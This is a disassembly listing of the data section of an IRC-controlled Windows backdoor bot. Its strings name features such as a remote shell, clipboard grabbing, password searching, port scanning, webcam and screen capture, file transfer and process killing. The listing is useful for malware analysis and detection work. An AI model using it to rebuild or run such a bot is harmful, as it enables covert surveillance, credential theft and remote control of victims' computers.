aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40EE51+5F1Bo
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_40EE51+5F14o
		align 4
; char aSec[]
aSec		db 'sec',0              ; DATA XREF: sub_40EE51+5EB9o
; char aSecure[]
aSecure		db 'secure',0           ; DATA XREF: sub_40EE51+5EA8o
		align 4
unk_434438	db    2			; DATA XREF: sub_40EE51+5E9Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_434480	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE51+5D7Bo
dword_434490	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE51+5D76o
dword_43449C	dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE51+5D63o
dword_4344A8	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_40EE51+5D5Eo
dword_4344B8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+5D2Bo
		dd 2BBBB02h, 65522020h,	6E6E6F63h, 69746365h, 2E676Eh
; char aQuitReconnecti[]
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE51:loc_414B6Fo
		align 4
dword_4344F8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+5D09o
		dd 2BBBB02h, 69442020h,	6E6F6373h, 7463656Eh, 2E676E69h
		dd 0
; char aQuitDisconnect[]
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE51:loc_414B4Do
		align 4
; char aQuitS[]
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+5CD4o
		align 4
; char dword_434548
dword_434548	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+5C88o
		dd 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
; char dword_434584
dword_434584	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+5C4Ao
		dd 2BBBB02h, 6F422020h,	44492074h, 7325203Ah, 2Eh
; char dword_4345AC
dword_4345AC	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE51+5C1Fo
		dd 2029671Fh, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
; char dword_4345F4
dword_4345F4	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE51+5BB4o
		dd 2029671Fh, 2BBBB02h,	694C2020h, 74207473h, 61657268h
		dd 2E7364h
; char aSub[]
aSub		db 'sub',0              ; DATA XREF: sub_40EE51+5B8Eo
dword_434624	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+5B3Fo
		dd 2BBBB02h, 6C412020h,	20736169h, 7473696Ch, 2Eh
dword_43464C	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+5B24o
		dd 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 4
; char dword_434694
dword_434694	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+5A97o
		dd 2BBBB02h, 694C2020h,	6E697473h, 6F6C2067h, 2E67h
dword_4346BC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+5A16o
		dd 2BBBB02h, 654E2020h,	726F7774h, 6E49206Bh, 2E6F66h
dword_4346E4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+59E7o
		dd 2BBBB02h, 79532020h,	6D657473h, 666E4920h, 2E6Fh
dword_43470C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+5992o
		dd 2BBBB02h, 65522020h,	69766F6Dh, 4220676Eh, 2E746Fh
unk_434734	db    2			; DATA XREF: sub_40EE51+597Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_9	db 'Failed to start listing thread, error: <%d>.',0
		align 4
; char dword_434784
dword_434784	dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
					; DATA XREF: sub_40EE51+5910o
		dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h,	73736563h
		dd 73696C20h, 2E74h
; char aFull[]
aFull		db 'full',0             ; DATA XREF: sub_40EE51+58F0o
		align 4
unk_4347BC	db    2			; DATA XREF: sub_40EE51+5899o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunning	db 'Already running.',0
		align 10h
; char unk_4347F0
unk_4347F0	db    2			; DATA XREF: sub_40EE51+586Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	64h, 6Bh
		db  65h	; e
		db 79h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 10h
; char dword_434820
dword_434820	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+5821o
		dd 2BBBB02h, 70552020h,	656D6974h, 7325203Ah, 2Eh
; char dword_434848
dword_434848	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51:loc_4145B0o
		dd 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_434878	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+5758o
		dd 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 10h
dword_4348B0	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+573Co
		dd 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_4348E8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+5726o
		dd 2BBBB02h, 65472020h,	6C432074h, 6F627069h, 2E647261h
		dd 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE51+56F8o
		align 4
unk_434928	db    2			; DATA XREF: sub_40EE51:loc_414539o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 4
; char unk_434964
unk_434964	db    2			; DATA XREF: sub_40EE51+56CDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 4
unk_434998	db    2			; DATA XREF: sub_40EE51:loc_41450Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_4349D4	db    2			; DATA XREF: sub_40EE51:loc_414507o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 10h
unk_434A10	db    2			; DATA XREF: sub_40EE51+56AFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 4
; char dword_434A44
dword_434A44	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE51+563Fo
		dd 2029671Fh, 2BBBB02h
aFailedToSta_10	db '  Failed to start server thread, error: <%d>.',0
		align 10h
; char dword_434A90
dword_434A90	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE51+55D4o
		dd 2029671Fh, 2BBBB02h
aServerListen_0	db '  Server listening on IP: %s:%d, Username: %s.',0
		align 4
unk_434ADC	db    2			; DATA XREF: sub_40EE51+550Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start server thread, error: <%d>.',0
unk_434B24	db    2			; DATA XREF: sub_40EE51+5395o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_12	db '  Failed to start server thread, error: <%d>.',0
		align 4
unk_434B6C	db    2			; DATA XREF: sub_40EE51+526Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyRunni_0	db '  Already running.',0
unk_434B98	db    2			; DATA XREF: sub_40EE51+5257o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_13	db '   Failed to start search thread, error: <%d>.',0
; char unk_434BE4
unk_434BE4	db    2			; DATA XREF: sub_40EE51+51D4o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForPa	db '   Searching for password.',0
unk_434C1C	db    2			; DATA XREF: sub_40EE51:loc_414001o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start scan, port is invalid.',0
		align 10h
; char unk_434C60
unk_434C60	db    2			; DATA XREF: sub_40EE51+50F1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
dword_434CD8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+4EB1o
		dd 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_434D0C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+4E98o
		dd 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_434D3C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+4E78o
		dd 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_434D6C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+4E5Fo
		dd 2BBBB02h, 52492020h,	61522043h, 25203A77h, 2E73h
; char dword_434D94
dword_434D94	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE51:loc_413C32o
		dd 2029671Fh, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 10h
dword_434DD0	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE51+4DDAo
		dd 2029671Fh, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 4
dword_434E04	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE51:loc_413BE5o
		dd 2029671Fh, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
; char dword_434E3C
dword_434E3C	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE51+4D7Bo
		dd 2029671Fh, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 4
; char aAll[]
aAll		db 'all',0              ; DATA XREF: sub_40EE51+4D61o
; char aQuitLater[]
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+4CDAo
					; sub_40EE51:loc_414B37o
		align 4
dword_434E88	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+4C62o
		dd 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_434EBC	db    3			; DATA XREF: sub_40EE51:loc_413A9Eo
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5CouldnTOpenFi	db '5  Couldn',27h,'t open file: %s',0
		align 10h
unk_434F00	db    3			; DATA XREF: sub_40EE51+4C43o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5FileOpenedS	db '5  File opened: %s',0
		align 4
; char dword_434F3C
dword_434F3C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+4C1Ao
		dd 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 10h
; char dword_434F70
dword_434F70	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51:loc_413A1Co
		dd 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
; char dword_434FA8
dword_434FA8	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+4BA0o
		dd 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
unk_434FD4	db    2			; DATA XREF: sub_40EE51:loc_4139BDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToTermin	db 'Failed to terminate process: %s',0
unk_435014	db    2			; DATA XREF: sub_40EE51+4B62o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessKilledS	db 'Process killed: %s',0
		align 4
; char unk_435048
unk_435048	db    2			; DATA XREF: sub_40EE51:loc_41395Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToTerm_0	db 'Failed to terminate process ID: %s',0
		align 4
unk_43508C	db    2			; DATA XREF: sub_40EE51+4B05o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessKilledI	db 'Process killed ID: %s',0
		align 4
dword_4350C4	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE51+4AC4o
		dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h,	2E277325h
		dd 0
; char dword_4350F0
dword_4350F0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+4A3Fo
		dd 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 4
dword_435124	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE51+49CDo
		dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_435148	db    2			; DATA XREF: sub_40EE51+49B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_15	db 'Failed to start connection thread, error: <%d>.',0
; char dword_435194
dword_435194	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40EE51+4943o
		dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h,	0
dword_4351BC	dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE51:loc_413725o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh,	2E746E65h
		dd 0
unk_4351E8	db    2			; DATA XREF: sub_40EE51+48CAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Dh,	69h, 72h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_435214	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+4899o
		dd 2BBBB02h, 6F432020h,	6E616D6Dh, 203A7364h, 7325h
dword_43523C	dd 7A026E02h, 201F6D1Fh, 646D6328h ; DATA XREF:	sub_40EE51+488Eo
		db 2Eh
byte_435249	db 70h,	1Fh, 6Ch	; DATA XREF: UPX0:off_4264DCo
		dd 2029671Fh, 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_435278	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+484Eo
		dd 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
; char dword_4352A8
dword_4352A8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+483Ao
		dd 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 4
dword_4352DC	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE51:loc_41361Ao
		dd 2029671Fh, 2BBBB02h
aInvalidParam_0	db '  Invalid parameters for amateur video capture.',0
dword_435328	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE51:loc_413610o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCapt	db '  Error while capturing amateur video from webcam.',0
		align 4
dword_435378	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE51+47B5o
		dd 2029671Fh, 2BBBB02h
aAmateurVideoSa	db '  Amateur video saved to: %s.',0
		align 4
; char dword_4353B4
dword_4353B4	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE51:loc_41356Eo
		dd 2029671Fh, 2BBBB02h
aInvalidParam_1	db '  Invalid parameters for webcam capture.',0
		align 4
dword_4353FC	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE51:loc_413567o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_0	db '  Error while capturing from webcam.',0
		align 10h
; char dword_435440
dword_435440	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE51+4706o
		dd 2029671Fh, 2BBBB02h
aWebcamCaptureS	db '  Webcam capture saved to: %s.',0
		align 4
; char aFrame[]
aFrame		db 'frame',0            ; DATA XREF: sub_40EE51:loc_4134DBo
		align 4
; char dword_435484
dword_435484	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE51+467Do
		dd 2029671Fh, 2BBBB02h
aDriverListComp	db '  Driver list complete.',0
; char dword_4354B8
dword_4354B8	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE51+4647o
		dd 2029671Fh, 2BBBB02h
aDriverDSS_	db '  Driver #%d - %s - %s.',0
; char aDrivers[]
aDrivers	db 'drivers',0          ; DATA XREF: sub_40EE51:loc_413444o
; char dword_4354F4
dword_4354F4	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE51:loc_413431o
		dd 2029671Fh, 2BBBB02h
aNoFilenameSpec	db '  No filename specified for screen capture.',0
dword_43553C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE51:loc_41342Ao
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_1	db '  Error while capturing screen.',0
; char dword_435578
dword_435578	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE51+45C9o
		dd 2029671Fh, 2BBBB02h
aScreenCaptureS	db '  Screen capture saved to: %s.',0
		align 4
; char aScreen[]
aScreen		db 'screen',0           ; DATA XREF: sub_40EE51:loc_4133E1o
		align 4
; char dword_4355BC
dword_4355BC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+4572o
		dd 2BBBB02h, 65472020h,	736F6874h, 25203A74h, 2E73h
; char dword_4355E4
dword_4355E4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+4537o
		dd 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
; char dword_435624
dword_435624	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+451Bo
		dd 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 4
; char dword_435658
dword_435658	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+4499o
		dd 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
; char dword_435684[]
dword_435684	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+445Eo
		dd 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 10h
; char dword_4356B0[]
dword_4356B0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+4408o
		dd 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 4
dword_4356DC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+43A0o
		dd 2BBBB02h, 79432020h,	2E656C63h, 0
; char dword_435700[]
dword_435700	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE51+4366o
					; sub_40EE51+4E6Ao
; char dword_43570C[]
dword_43570C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE51+4337o
		dd 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
; char aModeS_0[]
aModeS_0	db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE51+4329o
		align 4
dword_435744	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE51+4300o
		dd 2202967h, 2002BBBBh,	77615220h, 73252820h, 25203A29h
		dd 73h
dword_435770	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE51+4295o
		dd 2202967h, 2002BBBBh,	646F4D20h, 25282065h, 203A2973h
		dd 7325h
; char aModeS[]
aModeS		db 'MODE %s',0          ; DATA XREF: sub_40EE51+4240o
; char dword_4357A4[]
dword_4357A4	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE51+420Bo
